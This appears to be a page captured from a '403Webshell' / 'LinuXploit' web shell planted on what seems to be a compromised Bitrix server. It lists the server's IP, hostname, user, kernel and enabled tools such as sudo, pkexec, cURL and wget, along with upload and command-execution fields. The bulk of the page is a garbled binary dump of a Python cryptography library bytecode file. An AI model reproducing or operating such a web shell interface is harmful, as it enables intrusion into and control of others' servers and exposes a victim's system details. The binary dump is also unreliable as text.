403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.11/site-packages/cryptography/hazmat/primitives/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.11/site-packages/cryptography/hazmat/primitives/__pycache__/keywrap.cpython-311.pyc
�

3�qb��~�ddlZddlmZddlmZddlmZddlmZde	de	dej
e	d	e	fd
�Z	dde	de	dejd	e	fd
�Z
de	de	dej
e	d	eje	ej
e	ffd�Z	dde	de	dejd	e	fd�Z	dde	de	dejd	e	fd�Z	dde	de	dejd	e	fd�ZGd�de��ZdS)�N)�Cipher)�AES)�ECB)�bytes_eq�wrapping_key�a�r�returnc�"�tt|��t�������}t	|��}td��D]�}t|��D]r}|�|||z��}t�|dd�d���||z|zdzz�	dd���}|dd�||<�s��|�
��dksJ�|d�|��zS)	N���big��	byteorder���lengthr����)rrr�	encryptor�len�range�update�int�
from_bytes�to_bytes�finalize�join)rrr	r�n�j�i�bs        �M/usr/lib64/python3.11/site-packages/cryptography/hazmat/primitives/keywrap.py�
_wrap_corer$s���s�<�(�(�#�%�%�0�0�:�:�<�<�I��A���A�
�1�X�X�	�	���q���	�	�A�� � ��Q�q�T��*�*�A����q��!��u���6�6�1�q�5�A�+��/�J��h�a�5�h�1�1�
��R�S�S�6�A�a�D�D�	������3�&�&�&�&��s�x�x��{�{�?�r�key_to_wrap�backendc�L��t|��dvrtd���t���dkrtd���t���dzdkrtd���d}�fd	�tdt���d��D��}t|||��S)
N���� �/The wrapping key must be a valid AES key lengthr)z)The key to wrap must be at least 16 bytesr
rz-The key to wrap must be a multiple of 8 bytes���������c�*��g|]}�||dz���S�r
���.0r!r%s  �r#�
<listcomp>z aes_key_wrap.<locals>.<listcomp>5�&���G�G�G�A��Q��Q��Y�	�G�G�Gr)r�
ValueErrorrr$)rr%r&rr	s `   r#�aes_key_wrapr6&s����
�<����,�,��J�K�K�K�
�;���"����D�E�E�E�
�;���!��q� � ��H�I�I�I�+�A�G�G�G�G��q�#�k�2B�2B�A�)F�)F�G�G�G�A��l�A�q�)�)�)rc�2�tt|��t�������}t	|��}tt
d����D]�}tt
|����D]t}t�|d���||z|zdzz�	dd���||z}|�
|��}|dd�}|dd�||<�u��|���dksJ�||fS)	Nrrrrr
rrr)rrr�	decryptorr�reversedrrrrrr)	rrr	r8rr r!�atrr"s	         r#�_unwrap_corer;9s���s�<�(�(�#�%�%�0�0�:�:�<�<�I��A���A�
�e�A�h�h�
�
�	�	���%��(�(�#�#�	�	�A����q�E��2�2�q�1�u��k�A�o�F��h�a�5�h�1�1�A�a�D�9�C�
� � ��%�%�A��"�1�"��A��R�S�S�6�A�a�D�D�	������3�&�&�&�&��a�4�Krc�L��t|��dvrtd���dt����dd���z}dt���dzz
dz}�d|zz�t���dkrott	|��t�������}|�|�z��}|���d	ksJ�|S�fd
�tdt���d��D��}t|||��S)Nr(r,��YY��rrr
�rc�*��g|]}�||dz���Sr/r0r1s  �r#r3z-aes_key_wrap_with_padding.<locals>.<listcomp>e�&���K�K�K��[��Q��U��
#�K�K�Krr)rr5rrrrrrrrr$)rr%r&�aiv�padrr"r	s `      r#�aes_key_wrap_with_paddingrDPs4���
�<����,�,��J�K�K�K�
��K� 0� 0� 9� 9��E�!:�!�!��C�
��K� � �1�$�%��
*�C���#�
�-�K�
�;���1����3�|�,�,�c�e�e�4�4�>�>�@�@�	����S�;�.�/�/���!�!�#�#�s�*�*�*�*���K�K�K�K�U�1�c�+�6F�6F��-J�-J�K�K�K���,��Q�/�/�/r�wrapped_keyc����t���dkrtd���t|��dvrtd���t���dkr�tt	|��t�������}|����}|���dksJ�|dd�}|dd�}d}nw�fd�td	t���d��D��}|�
d	��}	t|��}t||	|��\}}d�|��}t�|d
d�d���}
d|z|
z
}t|dd
�d
��r;d|dz
z|
cxkr	d|zkr%nn"|d	kr*t||d�d|z��st���|d	kr|S|d|�S)Nr)zMust be at least 16 bytesr(r,rr
rc�*��g|]}�||dz���Sr/r0�r2r!rEs  �r#r3z/aes_key_unwrap_with_padding.<locals>.<listcomp>}rArrr>rrr=r?)r�
InvalidUnwrapr5rrrr8rrr�popr;rrrr)rrEr&r8�outr�datarr	�
encrypted_aiv�mlir"s `          r#�aes_key_unwrap_with_paddingrOis���
�;���"����7�8�8�8�
�<����,�,��J�K�K�K�
�;���2����3�|�,�,�c�e�e�4�4�>�>�@�@�	����{�+�+���!�!�#�#�s�*�*�*�*�����G���1�2�2�w��
���K�K�K�K�U�1�c�+�6F�6F��-J�-J�K�K�K�����a���
���F�F���L�-��;�;���1��x�x��{�{���.�.��1�2�2��%�.�
0�
0�C�	
�Q��#�
�A��Q�r��r�U�/�0�0���A��E�{�S�)�)�)�)�A��E�)�)�)�)�)�
��F�F�8�D�!����I�w��{�;�;�F��o�o���A�v�v����C�a�R�C�y�rc����t���dkrtd���t���dzdkrtd���t|��dvrtd���d}�fd	�tdt���d��D��}|�d��}t|||��\}}t
||��st���d
�|��S)Nr*zMust be at least 24 bytesr
rz-The wrapped key must be a multiple of 8 bytesr(r,r-c�*��g|]}�||dz���Sr/r0rHs  �r#r3z"aes_key_unwrap.<locals>.<listcomp>�r4rr)rrIr5rrJr;rr)rrEr&rBr	rs `    r#�aes_key_unwraprR�s����
�;���"����7�8�8�8�
�;���!��q� � ��K�L�L�L�
�<����,�,��J�K�K�K�
-�C�G�G�G�G��q�#�k�2B�2B�A�)F�)F�G�G�G�A�	���a���A���a��+�+�D�A�q��A�s�����o�o���8�8�A�;�;�rc��eZdZdS)rIN)�__name__�
__module__�__qualname__r0rr#rIrI�s�������DrrI)N)�typing�&cryptography.hazmat.primitives.ciphersr�1cryptography.hazmat.primitives.ciphers.algorithmsr�,cryptography.hazmat.primitives.ciphers.modesr�,cryptography.hazmat.primitives.constant_timer�bytes�Listr$�Anyr6�Tupler;rDrOrR�	ExceptionrIr0rr#�<module>ras.���
�
�
�9�9�9�9�9�9�A�A�A�A�A�A�<�<�<�<�<�<�A�A�A�A�A�A�������{�5����	����6�*�*��*��*��Z�*��	*�*�*�*�&������{�5����\�%���U�+�+�,�	����4�0�0��0��0��Z�0��	0�0�0�0�8�+�+��+��+��Z�+��	+�+�+�+�b��������Z���	����0	�	�	�	�	�I�	�	�	�	�	r

Youez - 2016 - github.com/yon3zu
LinuXploit